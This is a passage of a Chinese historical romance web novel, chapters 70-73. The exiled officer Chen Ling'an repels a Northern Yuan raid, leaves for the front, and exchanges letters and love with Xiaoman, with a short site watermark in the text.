陈令安浑身一激灵,猛地睁开眼睛,三步两步奔出酒馆,趴在地面上仔细听。 是马蹄的震动,明显的三连音节奏感,清脆的叩击声。 是蒙古马! 一、二、三…… 至少五十人的马队! 陈令安一跃而起,飞快点燃旁边的草垛子,旋即踹开老掌柜的房门,一把揪起他,“北元散兵夜袭,敲锣报信,快!” 第70章 乍听北元骑兵夜袭, 睡得迷迷糊糊的老掌柜惊得差点厥过去,待出门一看,外面静悄悄的连个鬼影子都没有。 自家的柴垛子咋个烧起来了? “救火!快救火!”他心疼得一个劲儿捶胸顿足。 陈令安真有点恨铁不成钢了, “还管什么火,快叫醒村民们逃命!” “是不是你点了我家的柴火?那可是我全家过冬的柴火啊!”老掌柜揪着陈令安要他赔。 听见动静的小满跑出来,“怎么回事?” 陈令安一把推开那老掌柜, 递给小满一把匕首, 简短道:“北元骑兵,躲庄稼地里去。” 小满立时明白了,二话不说,冲进伙房抄起脸盆擀面杖咣咣敲得震天响。 她边敲边飞也似地跑着大喊:“鞑子来啦!鞑子来啦!大伙儿都躲庄稼地了——” 好似一滴水滴进滚烫的油锅,孩子惊恐的哭声, 大人慌张的呼声, 收拾东西的丁当声……顿时将夜幕下的村庄搅得乱了套。 地保满头大汗跑过来, 抓住小满的胳膊问:“你是谁, 你咋知道鞑子来了?” 仓促间来不及解释,解释也无用, 这个时候用官体威仪压他效率更高。 陈令安刷地从老牛身上取下腰牌, 往地保面前一晃,“京师护卫誻膤團對军校尉, 尔等听命行事!” 他动作太快,天又黑,地保只看清“直隶”二字, 但这二字已足够震慑住他了。 地保急忙派人去镇上报信,又指挥村里的青壮年抄家伙去村口守着,还气急败坏冲几个村民喊:“都什么时候了,还顾着你那几个破家当!” 陈令安仔细打量地保一眼, 随即对尚在发懵的两个押狱喝道:“拿刀,抗敌!” 两个押狱心里直呼倒霉,犹犹豫豫不愿上前。 大地的震动声越来越近了,已经能听到北元起兵的呼喝声。 陈令安冷冷道:“要么去杀敌,要么我现在就杀了你们,报个以身殉国,你们能留个好名声,家人还能拿到朝廷的抚恤银子。” 小马正值年轻气盛,一听这话就受不了了,梗着脖子喊道:“用不着你激,我还不如你一个获罪的奸贼?” 老牛阻止不及,只能叹声罢了。 马蹄如雷,那些北元骑兵显然没把这些庄稼汉当回事,哪怕明知自己行踪已经暴露,还是肆无忌惮冲杀过来。 行至村口,最前头的几匹马突然嘶叫着一跟头栽倒,马背上的骑兵反应不及,纷纷滚落下马。 绊马索! 陈令安暗暗惊讶,这小小的村子里还有这种东西? 眼看后面的起兵就要逼上来,他一腿踹翻个落马的北元人,夺刀就砍。 血光、刀影、厮杀声中不停倒下的人…… 头领很快发现,有个年轻人刀法又快又狠,和别人都不一样,竟一连砍杀自己好几个手下。 “你是谁?”头领操着蹩脚的官话问。 明亮的火燃烧着,陈令安站在中间,让人分不清他身上的红衣到底是血,还是火光。 他轻轻擦去脸颊上的血点,脸上毫无表情,“陈令安。” 头领摇头:“没听说过。” 陈令安冷笑道:“放心,很快就会成为你们北元人的噩梦。” 声音甫落,他飞身而起,手中的刀鬼魅般逼到那头领眼前。 惨叫中,头领半条胳膊应声而落。 “我们的人来啦!”不知谁喊了声。 但见远处官道上,亮起星星点点的火把,移动速度很快,应是骑兵。 再不走,恐怕就走不了了。 残余的北元骑兵立即调转马头撤退。 总算捡了条命!老牛小马呼口气,这时才觉得浑身发软,心里发毛,不由自主就瘫在了地上。 陈令安瞥他们一眼,“没有临阵脱逃,是条汉子。” 小马刚想回敬他两句,却瞧见地上死伤的村民们,翘起的嘴角又耷拉了回去。 陈令安问地保,“绊马索是军中用的东西,你们从哪儿得来的?” 地保道:“是卫所分给各村的,每到秋天那些蛮子就来抢粮,实在没办法了。” 陈令安若有所思点点头,视线投到赶来的官兵身上,五色布扎巾、罩甲、便帽式小盔,分明是卫所正规骑兵的打扮。 此处离保安卫所不算远,但也绝对不是半个时辰就能往返的距离。 官兵分作两路,一路继续追击敌人,一路留下来帮助村民打扫战场,收殓尸首。 带队的校尉非常惊讶,那些凶悍的北元骑兵竟被几个乡野村夫拦在村口,半颗粮食没抢到,头领还身负重伤! 地保忙指着陈令安说:“多亏这位官爷提前发现蛮子的动静,不然我们这些人,只怕还没醒就被杀死了。瞧地上这些鞑子,几乎全是这位官爷杀的。” 校尉郑重抱拳道:“敢问大人在何处任职?” 陈令安还了一礼,“戴罪之身不敢妄称大人,在下陈令安,获罪于上,发配怀安卫充军戍边。这两位是押送我的差役,牛德盛,马喜福,刚猛勇敢,立了大功。” 陈令安?! 校尉好歹控制住自己没惊叫出声,不错眼地盯着这位“大奸贼”,一时忘了搭理正向他行礼的老牛小马。 陈令安低低咳了声。 校尉如梦初醒,当即做了决定,“我是怀安卫总旗薛超,你可以随我一起回营,正好也将今日之事详细禀明上司。” 陈令安:“怀安卫离这里算不得近,你们来得倒很及时。” 薛超也是个伶俐人,笑着解释说:“为防北元南侵,卫所下了新命令,除了边境线,骑兵还要巡查防区内各县。也是赶巧了,今晚正好轮到保安县,瞧见这里有火光我们就赶过来了。” “只有怀安卫执行,还是燕北所有的卫所都执行?” “所有卫所。” 陈令安微微挑眉,把军队的日常操练改为日常巡查,燕北所有卫所都联动起来了,不仅打破卫所间的隔阂僵化,还将军队调动牢牢控制在自己手里。 这个老家伙,有点手段。 不过他不打算随薛超直接去卫所。 薛超也不勉强,见手下收拾得差不多了,笑道:“那好,他日来卫所,有事只管说话,咱大头兵不管别的,只要你上阵杀敌,就是咱的好兄弟!” 说罢一拱手,翻身上马,呼哨一声,率人与先头部队汇合去了。 陈令安急忙去找小满。 她和村里的妇孺们待在一起,没有受伤,陈令安这才松了口气,脸上也浮现出紧张过后的倦意。 小满看见他满身是血,慌得脸都白了,再三确认他没受伤,可眼泪还是在眼眶里直打转。 这只是小股的北元骑兵骚扰,根本算不得正经的打仗,战场只会比这惨烈百倍。 一路上刻意被忽略、被压制的,唯恐失去他的恐慌,此时再也按捺不住了。 但她压根不敢让陈令安知道,只低头闷声叫他换衣服,暗暗庆幸天色未明,对面的人瞧不清自己的模样。 陈令安焉能不知道? 他什么也没说,回屋洗去身上的血腥,换了衣裳,又坐了片刻,才慢慢走出屋子。 天亮了,迷蒙的白雾笼罩着大地,苍凉的钟声扩散在村子上空,带着村民们低低的哭泣声,一下下撞击着陈令安的心。 小满抱住他的胳膊,“死了十二个人,都是家里的顶梁柱……” 她说不下去了。 陈令安安抚似地拍拍她的手,“我们该出发了。” 小满:“我想给那几家留点银子。” 陈令安提醒她:“给碎银子就好,不要给大额的银票。” 小满犹豫了会儿,还是点了点头。 临走时,老掌柜送了陈令安一大葫芦酒,地保还送了他们二里地,“要不是恩公,我们全村只怕也留不下一个活口。我们给恩公立长生牌,天天磕头烧香,保佑恩公封侯拜相,福泽绵长。” 陈令安笑了笑,小满竟难得的从中看出点羞涩! 这个人,也不是完全不在乎别人的评价呀。 余下的路很好走,三天后,他们到了怀安卫。 因文牒上没有小满的名字,看守不准小满进牢城营,指着旁边的村落说:“那边是官兵家眷们住的地方,有个小驿站,姑娘去那边住。真是稀奇,咱这里从来只有流放的女眷,还没见过自愿跟过来的!” 小满没法子,只能眼巴巴看着陈令安的身影消失在黑洞洞的大门里。 一时交接完毕,陈令安跟着差役来到专门关押流放犯人的牢营。 那差役把他到带到点视厅前,只叫他在这里等着,然后就走了。这厅里不见一个官兵,静得鸦雀无声,陈令安不免诧异,来回细细观察了几圈,却也看不出有哪里暗设机关。 桌上有茶水,有蔬果点心,陈令安口渴,端起来就喝,竟是毫不设防的意思。 末了还说:“去年的旧茶不说,还全是茶叶沫子,真亏你能喝得下去,佩服,佩服。” 但听门外蓦地爆出一阵大笑,“你小子,都成老子的阶下囚了,还挑三拣四的,没赏你一顿杀威棒就是给你小子天大的面子啦。” 笑声未落,屏风后转出一位高大威猛的悍将来,正是平阳侯世子,秦伯彦!魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 70-74 第71章 秦伯彦突然出现在这里, 陈令安却不十分惊讶,还是老样子,脸上淡淡的看不出什么心情。 只一抱拳道了声:“秦世子。” 秦伯彦调侃道:“呦, 以前见了我,可都拿鼻孔看人,果然是吃一亏, 学一乖, 知道向我行礼了。哈哈,这就叫人在屋檐下,不得不低头。” 陈令安脸皮微微泛红,嘴上不肯认输,“秦世子屈尊纡贵亲自来牢营迎接我, 这个面子我怎么也要给。” 秦伯彦哈哈笑了几声, 抬手示意他落座, “你是怎么发现北元骑兵来犯的?” 这没什么好隐瞒的, 陈令安如实答了,秦伯彦登时来了兴趣, “你在军营呆了没一年就调到王府卫队, 在军营做的也不是斥候,如何学得这听马辨数的本事?” 陈令安沉默片刻, 倏然一笑:“能让自己活下去的本事,不需要刻意学就会了。” 秦伯彦眉头微微跳了跳,不再继续这个话题, 转而问他今后有什么打算。 “我想做前线的大头兵。”陈令安直言不讳,“保安县那晚我的表现,世子爷也看到了,还请成全。” 秦伯彦:“现在是秋季, 鞑子南侵最频繁的时候,前线压力很重。士兵打仗和锦衣卫办案拿人完全不一样,敌人可不会把北镇抚司当回事。” 陈令安失笑:“世子爷忘了,我现在是流放充军的犯人。” 秦伯彦瞅了眼门外,“也不能光听你的,还得听听别人的意思。” 一脚迈过门槛的小满瞪大双眼:世子姨夫! 她脸上的忐忑不安瞬间变成惊喜交加,三步并两步跑到秦伯彦跟前,“姨夫!我娘说您去北平了,没想到在这里遇见您啦!” 秦伯彦笑道:“我一个领兵打仗的,蹲北平城里多没劲。来来,现在有三个缺儿,军需司文书,商屯管盐的吏员,还有王府亲卫队,你替他挑挑,选中哪个是哪个。” 小满道:“姨夫没让他做修路筑城、挖渠推土的苦役,已是格外开恩,哪还有我们挑三拣四的道理?您说哪个就是哪个。” 秦伯彦一摆手,“少说客套话,我只问你一次,想好喽。” 小满下意识去看陈令安。 秦伯彦道:“别看他,我问的是你。” 小满没费多少功夫就给出了选择,“这些都不要,姨夫让他去前线杀敌吧。” 这下秦伯彦真有点诧异了,“你确定?” “嗯。” “你舍得?千里迢迢一路陪他过来,却让他上战场,过安稳日子不好吗?” “舍不得。”小满勉强笑笑,“舍不得也没办法,比起那三个安稳的好差事,我想他更愿意上前线。” 秦伯彦摇摇头,又点点头,挑眉看陈令安一眼,颇为感慨地叹道:“便宜你小子了。” 也不知道是说差事,还是别的。 陈令安看看小满,不知怎的,突然有点怀疑自己这样做对不对。 他闭了闭眼,极力把内心的焦躁压下去。 秦伯彦正色道:“丑话说在前头,我不会对你特殊照顾,以后你战死沙场,还是建功立业封妻荫子,全看你自己的能耐。” “那是当然。”陈令安看向小满,欲言又止。 小满:“我就在外头村子里住着,等你凯旋归来。” 不等陈令安说话,秦伯彦就否决了,“不行,你母亲和你姨母已经到了北平,明天陈令安动身去边关,你去北平。” 小满呆了呆,“不去”二字在舌尖滚了又滚,始终没法说出口。 如果她不去北平,母亲准会不顾一切跑到边关来找她。 先前对边关战事的了解还懵懵懂懂的,她甚至以为和宣府乡下的生活差不多,虽贫寒,却安宁,可经过保安县的那一晚,她算是知道自己原来的想法有多幼稚了。 自己一个人无所谓,但她不能把母亲拖进这么危险的境地。 “好。”小满深吸口气,笑嘻嘻说,“我还没去过北平城呢,听说不比金陵差,好吃的好玩的特别多,这回可有时间好好玩啦。” 顿了顿,又觉得哪里不对,“姨母也来北平?” 秦伯彦起身,“不止是她,我几个儿子也都在。”临走时,别有意味地盯视陈令安一眼,“这个人情,我算是还你了。” 小满没听明白,待出了营房,悄悄问道:“他说的什么人情?” “我建议老侯爷调任燕北。”陈令安一边走,一边低声与她解释,“皇上打算迁都北平,还有意亲征漠北,燕北这个地方,会成为最重要的防区。” 那老侯爷就是军中第一重臣了!再加上世子爷也不是个孬的,哪怕老祖宗大长公主不在了,平阳侯府至少也能保三代无虞。 小满忽笑道:“去年侯府四时宴,你还变着法儿地拿世子爷错处呢,现在却好得什么似的,真是有意思。” 想起去侯府拿人的场面,陈令安也笑了,“世事无常,谁说得清楚以后会怎样。” 小满忙道:“我知道以后会怎样,你会在战场上杀敌立功,得到皇上赦免,重归朝堂,人人都夸你是保家卫国的大英雄,以前诋毁你的人纷纷对你刮目相看,你会重振陈家门楣,成为你父亲的骄傲!” 她越说越激动,小脸兴奋得通红,眼睛闪闪发亮。 陈令安垂眸看着她,看着她的眼睛,每次她看向自己的时候,眼中都有宝石一样晶莹的光彩。 他希望她能永远这样看着自己。 “小满,对不起。” “嗯?” “我喜欢你。” “哼,我早就知道了,你就是,唔……” 他轻轻啜住了她的唇。 深秋的太阳温和中带着点寒意,黄的红的叶子从枝头飘落,随风打着一个又一个的旋儿,就好像翻飞的鸟雀。 小满也觉得自己在高空中翻飞了。 地上粘着的人影终于分开了,两人都没有说话,甚至都有些不敢看对方,一个红着脸低头只管看地,一个看似镇定,实则走路都显得有点僵硬了。 小满不大习惯这样的沉静,努力寻找话题,不妨一抬头瞧见陈令安抿了抿嘴角,似乎还飞快舔了下嘴唇。 两团火云腾地烧透了小满的脸颊,真是艳若桃李,不可方物,娇媚比方才更盛三分。 陈令安不禁呆了。 “你、你……真是讨厌!”小满娇嗔地瞪他一眼,“不许看了。” 陈令安轻轻笑道:“这就讨厌了?以后我会干更多更多让你‘讨厌’的事。” 小满说不过他,干脆伸手拧他胳膊一把,还是挑着内侧的肉掐。 结果夹袄有点厚,一把没掐到肉,想要再来一下,陈令安却躲着她不让掐了。 小满懊恼极了。 “那么想掐我?”陈令安眼中划过一丝狡黠,俯身在她耳边轻轻说了句话。 “你简直坏透了!”小满又羞又恼,气得直跺脚,扭身就跑。 陈令安轻轻笑着,不紧不慢跟在她后面。 北方的秋,清疏而爽朗,碧空高远,黄土无边无涯,她站在那里冲他招手,全身都洋溢着朝气蓬勃的生命力,那是一种不加任何修饰的美,正像这高耸于天地间的白杨树一样。 萦绕心头的焦躁、愁绪、忐忑……一点点沉淀下来,陈令安轻轻吁出口气,快步走向自己的姑娘。 然后紧紧抱住她! 小满以为他又要亲她,一时慌了神。 不远处就是家眷们居住的村落,守营门的士兵甚至还在往这边瞧! 她开始推他。 “其实我并不是大家想象中从容的男人。”陈令安突然说,“我也会害怕,也会慌乱,也会不知所措。” 小满一怔。 “我刚才后悔了,真的后悔了,如果我选择更安稳的生活,会不会对你我更好?哪怕顶着流放犯官的名头,起码能确定活着。如果上战场,或许——” “你要活着回来!”小满急急打算他的话,推他的力道变成了紧紧拥抱他,“我告诉你,我可不会一直傻傻地等着你,你要是不回来,我就、就嫁给别人!” 小满吸吸鼻子,“对,我会嫁给别人,当别人的老婆,给别的男人生孩子,没过几年就把你忘了。你要是不愿意,就给我活着回来!” 陈令安把头埋在她的颈窝,“我当然会活着回来,你想都不想嫁刘瑾书。” “你这飞醋吃得莫名其妙。”小满嘀咕一句,把眼泪擦在他胸前的衣襟上。 他们就这样相拥着,丝毫不顾忌别人诧异的目光,然后手拉着手一起坐在白杨树下。 日头慢慢落下,月亮升起来,他们拥被依偎在一起,谁也舍不得睡觉。 然而再舍不得,分别的时刻也必会到来。 当胭脂色的朝霞弥漫在东面天空时,那个叫薛超的总旗寻过来了,部队要开拔,他们要出发了。 “我走了。”陈令安说。 小满点点头,抿嘴一笑,没有说话——只怕一张口就会哭出来。 陈令安翻身上马,马蹄轻响,马儿还徘徊在小满身旁。 他低头看着她,她仰头望着他,目光交错,什么都没说,又似乎什么都说了。 清寒的空气中,嘹亮的号角声响起,将士们激昂的口号声响成一片。 陈令安深深看了小满一眼,调转马头,双腿一夹,一人一马便飞也似地向着天地交汇处冲去。 第72章 已是冬月了, 北平城一天比一天冷,这天起来,蒋夫人惊奇地发现, 地上居然结了一层薄薄的冰。 “把炭火拢拢。”她吩咐锦绣,又犯愁,“这才刚进冬月呐, 往北更冷, 也不知道捎过去的冬衣他收到没。” 锦绣闻言抬头笑道:“姨太太亲自派人送去的,指名给他,谁敢耽误?” “这你就不懂了。”方妈妈摸了摸茶杯,自觉不烫了方递给蒋夫人,“他们在打仗, 不是驻守营地, 下一刻去哪里自己都不知道, 他又是个古怪脾气, 说不定还怨咱们多事呢!” “你个老货,忘了那棉衣还是你亲手缝的。”蒋夫人笑骂一句。 自从知道陈令安扔下自家姑娘跑到前线作战, 方妈妈就几乎每天要抱怨一遍, 如今快一个月过去,火气还没消。 方妈妈气哼哼的, “咱们抛家舍业的来北边,不就是为了让他和姑娘好好过日子么?他倒好,光想着自个儿, 一点都不考虑咱们。” 走廊下响起蹬蹬的脚步声,一听就知道是小满,蒋夫人摆摆手示意她不要再说了。 厚锻帘子从外掀开,小满带着一股寒气跑进来, 举着一封信兴冲冲道:“他立功啦,娘,娘,他立功啦!” 蒋夫人忙笑着叫她快念。 “蒋姨,小满,见字如面。”小满轻声念起来,“捎来的棉衣收到了,很暖,趴在雪窝子中也不觉得冷。” 方妈妈惊叫:“还趴雪窝子?这么冷的天,冻坏了怎么了得!” 蒋夫人嗔怪道:“别打岔,小满接着念。” “……数次激战,敌人暂时撤退,我积功升至小旗,并无负伤。” 方妈妈又拍着胸口叫开了,“没受伤就是万幸,什么功劳不功劳的,叫他别傻愣愣地往上冲,平安回来比什么都强。” 说得众人都笑了,蒋夫人指着她笑道:“瞧你一惊一乍的,方才还恨得跟什么似的,一扭脸就露出本性了。” 锦绣问:“敌人撤退了,他是不是就能回家了?” 小满翻了翻信纸,摇摇头说:“不行,他说了,还要往北打,一时半会儿回不来。” 刚刚热络的气氛顿时滞塞了,蒋夫人和方妈妈脸上的笑容也变得勉强。 小满瞧瞧她们,不由一乐,“将士们士气高涨,当然要乘胜追击,一举把北元打个落花流水,叫他们再不敢南犯,这样咱们老百姓才有好日子过。” “是这个理儿!”蒋夫人收拾好心情,“信上还说什么了?” 小满:“没了。” “没了?”蒋夫人揶揄笑道,“恐怕是不好对人言的悄悄话吧。” “哎呀,娘!” 屋里登时一片笑声。 蒋夫人又说:“前儿个我去找你姨母说话,侯爷和世子爷都在边关,估摸着过年也回不来,还说今年咱们两家一起过年。她那宅子刚修好,比金陵城的侯府足足大了一倍,到时候咱们闹她去!” 笑闹一阵,小满回了自己的屋子。 她躺在热烘烘的暖炕上,拥着软乎乎的被子,把他的信又拿出来,一个字一个字地看。 这人平时话就少,信上的字当然也多不到哪去,寥寥几句交代近况,竟是没有一句温存的话。 看着末尾那句“一切安好,勿念”,小满轻轻哼了声。 勿念,怎么可能勿念,每时每刻都在想着你这个没良心的! 到底不甘心,翻来覆去把信看了好几遍,希翼在字里行间看出点不一样的东西。 眼睛瞪得发酸,还是什么都没有! 她失望极了,气恼地要把信拍炕上,凶巴巴地扬起手,信却温柔地落在脸上。 雪的清冽味道,还有淡淡的墨香,夹杂着丝丝缕缕的草木味。 是他身上的味道。 耐不住,手指轻轻摩挲着信纸,略嫌粗糙的触感,就像他握刀的手。 信纸划过嘴唇,她悄悄红了脸。 真是讨厌!- 陈令安重重打了个喷嚏。 旁边的火堆还在燃着,可比起破门外刀割似的西北风,漫天遍野的雪,这点热度完全可以忽略不计。 薛超递过酒葫芦,陈令安没和他客气,拿过来就喝。 烈酒入肠,腹中热辣辣,身上也暖和起来。 薛超:“听说了没,皇上派人前往鞑子部招抚,如果能成,咱们就可以回家了。” 家?陈令安恍惚了下。 奇怪,脑海中浮现的不是爹爹和娘亲,不是大哥,不是小妹,是那个永远在他身边,永远笑嘻嘻的小满。 她正在做什么? 北平也下雪了吧,赏雪、赏梅,画九九消寒图,在被窝里看话本子,或者围着炭盆烤红薯、烤栗子? 还是吃的可能性更大一点。 天这么冷,正是窝在热烘烘的屋子里吃火锅子的好时候,熬成乳白色的高汤,薄如蝉翼的肉片,爽滑脆弹的毛肚,吸满汤汁的冻豆腐,还有嫩黄清甜的大白菜叶,调一碗醇厚细腻的麻酱,加点韭菜花、酱豆腐,夹一筷子颤巍巍的毛肚,蘸满料汁,一口下去。 他都能看见那个大馋丫头一脸满足的表情了! 当年在宣府乡下,她听人家说过一次,就惦记上了。 后来吃到没有? 应是没有的,收养她的何阿婆充其量不算穷,吃饱穿暖已算不错,她又不爱给人添麻烦,根本不会提额外的要求。 陈令安轻轻叹口气。 她的心思细腻又敏感,看上去大大咧咧没心没肺整天笑哈哈的,其实都是长久以来的环境逼着她长成这样的性子。 她爱笑,或许是因为不敢哭,不能哭。 她爱说俏皮话,很会哄人高兴,连平阳侯府的老太太都高看她一眼。 人人都喜欢被哄着,但不是人人都喜欢哄别人,更不是人人都会说哄人的话。 一片雪花顺着门缝飘进来,陈令安伸出手接住了,晶莹剔透的雪花在他掌心微微闪烁一下,化成泪一样的水滴。 他缓缓合掌,把那滴泪包裹在掌心。 都说希望所爱之人时时欢笑,不再哭泣,他却希望这丫头想哭就哭,痛痛快快地哭,肆无忌惮地哭。 以后的日子很长,他们还有很多很多的时间,足以把以前没做的事情做完。 陈令安笑了,“是呀,可以回家了。” 边关大雪飘飘,北平城里却只下了点雪粒子,撒盐似的,落地上没一会儿就化了,后面一直干冷非常,连大寒这天也没下雪。 大寒白雪定丰收,大寒无风伏干旱,小满打小就知道这句谚语,以前在乡下,冬天没有大雪,人们愁得连年都过不好。 现在她倒是不用发愁老天不下雪了,却有了新的烦心事。 边关传来消息,鞑子把朝廷派去招抚的使臣杀了! 今上惊怒非常,一场大战在所难免。 陈令安别说年前回来,就是开春也不见得能回来,上个月还能收到他只言片语的书信,如今连个口信都没有。 小满重重叹气,出神地望着灰蒙蒙的天空,连锦绣叫她都没听见。 “你刚才说什么?”小满带着几分茫然看着锦绣。 锦绣又好笑又心疼,指着单子说:“夫人让我问问你,给林家预备的年礼还要不要添减,喏,这是林家夫妇的,这是陈姑娘的。” 小满拉回自己的思绪,仔细看了看,“挺好的,我瞧不出哪里不妥——母亲拟的单子肯定合适,她是找借口让你来瞧瞧我,对不对?” 锦绣羞赧一笑,算是默认了。 小满失笑:“我能有什么事,九年都等过来了,还会在乎这几个月?嗐,我倒听到件新鲜事,前晌金陵那边的庄头来缴租子送年货,说张君懿可能要嫁人啦!” 锦绣大吃一惊,“四姑娘?她要嫁谁,谁保的媒,夫人知道这事吗?” 小满:“不知道,和你一样的反应,我当时在外间对账,就听了一耳朵,张君懿打算招上门女婿,自立门户。” 锦绣啧啧称奇,“倒插门能有什么好男人?四姑娘原来一心想高嫁的,唉,真是造化弄人。不过话说回来,谁让她摊上那么个爹娘?要不是夫人拉她一把,她早被她姨娘卖到财主家当小了。” 小满叹道:“就是说嘛,只希望她眼光放长远一点,挑个踏实肯干的相公,不能只图好皮相,更不能要油嘴滑舌光会说漂亮话的。我想着,要不写封信提醒她,或者托人帮她寻摸寻摸。” “可别!”锦绣一万个不同意,“四姑娘心高气傲,只有她指点别人,哪有别人指点她的份儿?姑娘帮她,她没准以为姑娘在害她。” 小满不由失笑,锦绣的话不无道理,她们离开金陵时,母亲问张君懿要不要一起走,她不愿意,母亲便把她住的小院子送给她了,可谓仁至义尽。 张家已成为过去,的确不宜过多关注。 她现在要做的,就是欢欢喜喜过年,安安心心等着陈令安功成名就回来。 一转眼,冬去春来。 北方战事仍未平息,弘德四年二月,皇上决定御驾亲征漠北。 小蒋氏带来个令小满忐忑不安又充满期待的消息——从军中选拔出来的,呈递御前的三千骑兵营名册中,陈令安位列最前。 第73章 小满很紧张, 怕陈令安选不上,又怕他选上。 更怕皇上余怒未消,一脚把他踢回牢城营做苦役, 彻底断了他翻身的机会。 等待是天底下最折磨人的事! 小满心里着慌,那是坐立不安,吃不香睡不着的, 跟热锅上的蚂蚁似的团团转, 要不就坐在廊下望着北方发呆。 蒋夫人急得上火,变着法儿地给她做好吃的,可没用,小满吃两口就放下筷子,问就是饱了。 直到小蒋氏再次捎来消息:陈令安选上三千骑兵营了!她的魂儿才算回到躯壳里。 蒋夫人与妹妹感慨:“这丫头用情至深, 便是当年的我也不如她, 现在看陈令安还好, 就怕以后高官厚禄了, 会不会变……” 小蒋氏笑道:“不用以后,他之前难道不是权柄在握, 对你闺女差了么?他都把半个身家给你闺女了, 你还不放心?” 一时说得蒋夫人也笑起来,“我是一朝被蛇咬, 十年怕井绳,咳,我现在是体会到当年咱娘的心情了。” 提到过世的父母, 姐妹俩心里不由泛上一阵酸楚。 眼见气氛变得有点沉闷,蒋夫人立马转了话题,“我也不求陈令安大富大贵,只要能脱离罪籍, 和小满过平平淡淡的日子,也未尝不好。” 想起丈夫在信中说的话,小蒋氏心道姐姐的期盼只怕要落空。 那陈令安办差拿人是把好手,打起仗来更了不得,脑子灵活奇招频出,胆大包天,几十人的小队就敢“捅敌人的腚”。 丈夫甚至还说,陈令安在锦衣卫当差,真是屈才了! 皇上肯定会让这把刀的作用发挥到极致。 小蒋氏轻轻叹息一声,而陈令安,也绝不是愿意归隐田园、淡泊名利的人。 他们陈家,无论是陈令安的父亲,还是上任阁老陈绍,乃至陈令宜、陈令安,就没有一个肯消停的主儿! 早春二月过后,便是阳春三月,转眼间又是端午了,日子一天天快得让人回不过神来。 有皇上坐镇指挥,将士们分外卖力,前线捷报一个接一个。大家都说,鞑子被打怕了,打散了,用不了几天,大军就会班师回朝。 小满的心情明亮极了,连带着干旱燥热的夏季都没那么讨厌了。 “北方这么不爱下雨?”蒋夫人抬头看着万里无云的天,“一冬天就下了层薄薄的雪粒子,清明飘了点毛毛雨,到现在一场像样的雨都没有,该不会闹旱灾吧。” 她让小满给庄头们写信,“问问他们那边的情况,今年收成不好的话,就把租子降一降。” 小满乐了,“我要是按您说的写了,就算今年是丰年,他们也会报一个歉收!等到秋收的时候看看,若真没多少收成,或减或免,您再发话。” 蒋夫人笑道:“呦,小丫头长大了,会打理庶务了,以后自己当家,绝对是个精明能干的!” 小满扭捏,“您在说什么呀……” “还不好意思上了。”蒋夫人打趣她,“你姨母可告诉我了,这次征讨漠北的功劳簿上,陈令安的名字写在第一页!莫说将功折罪换个自由身,重新当同知也是有可能的。” 小满眼神一暗,“就怕反对的人太多,他以前风评不太好,虽说这回立了功,可文臣们从来看不起武官……唉,能让他脱去罪名,皇上已是格外开恩,我不敢再求别的了。” 她说的没错,对于陈令安的嘉奖,朝中议论纷纷,赞成的寥寥无几,反对的遍地都是。 乃至都到了六月,所有人的奖赏都下来了,或升职,或赏银,只有陈令安,除了一句随军调到京畿大营,其他什么都没有。 今天阴沉沉的,一团团乌云从西边压上来,慢慢地堆满了整个天空。 “要下雨了。”薛超使劲闻闻,“我都闻见空气里的雨腥味了,这老天爷,要么一滴雨都不下,一下,就来个大的。” 他问陈令安,“不如原地驻扎,赶了一天路,也让兄弟们歇歇脚。” 这次北征,一直都是陈令安带着三千营打仗,虽然他现在还只是个小旗,大家还是习惯了听他的指令。 陈令安看看天,“还有二十里地就是密云卫,大伙儿加快点,咱们去卫所舒舒服服歇一晚,卫所有我的熟人,别的不敢说,酒管够。” 一听说有酒,三千营的将士们顿时兴奋不已,那是快马加鞭,生怕去晚了酒被抢光! 天色越来越昏暗,镶着金边的乌云山一样向大地倒下来,当最后一名士兵进入密云卫所,天空仿佛再也承受不住压力,但听爆裂似的一声巨响,霹雳瞬间劈开了黑沉沉的天幕。 狂风呼啸而过,豆大的雨点噼里啪啦砸下来,打得营地山呼海啸轰鸣声响成一片。 这么大的雨,幸亏没在野外驻扎,不然帐篷都叫风刮跑喽! 薛超正暗自庆幸,这时签押房连跑带颠出来一个高大威猛的壮汉,瞧打扮应是千户或者镇抚之类的从五品官,长得挺吓人,却满脸泪痕。 这谁呀? 却见那壮汉抱住陈令安就哭,“大人——”哇哇哭得像个孩子。 薛超等人瞧得目瞪口呆。 吴勇已是哭得上气不接下气,“我还以为永远见不到你了。” 陈令安嫌弃地推开他。 奈何不过片刻,那家伙又粘了上来,还做作地说着“为伊消得人憔悴”之类的话,听得陈令安隔夜饭都要吐出来了。 战事已停,又非边关,密云卫的防务相对松一些,偶尔饮酒不在禁令之中。 营地的饭菜都是现成的,伙房得知千户大人的老上司来了,不用吩咐,又加了好几道熏肉烤鸡之类的硬菜。 吴勇殷勤地要给陈令安倒酒,“这酒特有劲,还不上头,是我从吕总管那里顺出来的。都督府的人管我要,我都没舍得给,就等着大人来!” 陈令安笑笑,捂住酒碗,“不合适,我现在无官无职,就是个丘八,哪能劳动千户大人给我倒酒?” “大人!”吴勇的眼泪掉得比雨都急,声音透着十二分的委屈。 陈令安面皮一僵,挪开了手。 吴勇马上喜笑颜开,“我就说大人不会忘了咱兄弟,我那浑家说话就来北平,到时候还要请三姑娘帮着参谋,买哪块的房子好——最好跟大人挨着。” 陈令安失笑,“我还不知落到哪里。” “黑幕,绝对有黑幕!不是刘方,就是那帮蛋用没有的酸儒捣乱!”吴勇气哼哼骂道,“打仗的时候一个个当缩头乌龟,等别人打了胜仗,他们就跳出来了,仗着自己念过两句书就胡乱指点,这个不行,那个不成的。呸!要是咱们还在北镇抚司,早请他们去诏狱喝茶了。” 说完又往陈令安身旁凑近,神神秘秘一笑,“大人知道我在密云县遇到谁了?” 陈令安的手指抵住他脑袋往后轻轻一推,“谁?” “刘瑾书!”吴勇一拍大腿,“那小子贬到密云做知县了,哈哈,没想到吧。” 陈令安一怔,“为什么被贬?” 吴勇幸灾乐祸:“因为反对禁毁书院呗,明知圣意不可违,他还大张旗鼓上奏章反对,私底下联络同窗同年,想方设法保护地方上的书院。这不,去年冬天彻底惹怒皇上,直接从翰林院踢到密云来了。” “他也真够倒霉的。”吴勇嗤笑道,“要是拖到今年二月,就躲过这茬了。” 随着皇上御驾亲征漠北,禁毁书院的风头渐渐过去,如今已是无人再提——本来就是两头难,反正皇上最初的目的已经达到,索性睁只眼闭只眼。 陈令安摇摇头,世事无常,谁知道以后如何呢。 罢了,还是喝酒。 暴雨如注,一下就是两天一夜,好容易止住,云却没散,天依旧阴沉沉。官道也是泥泞不堪,一踩,黄泥都能没过脚面。 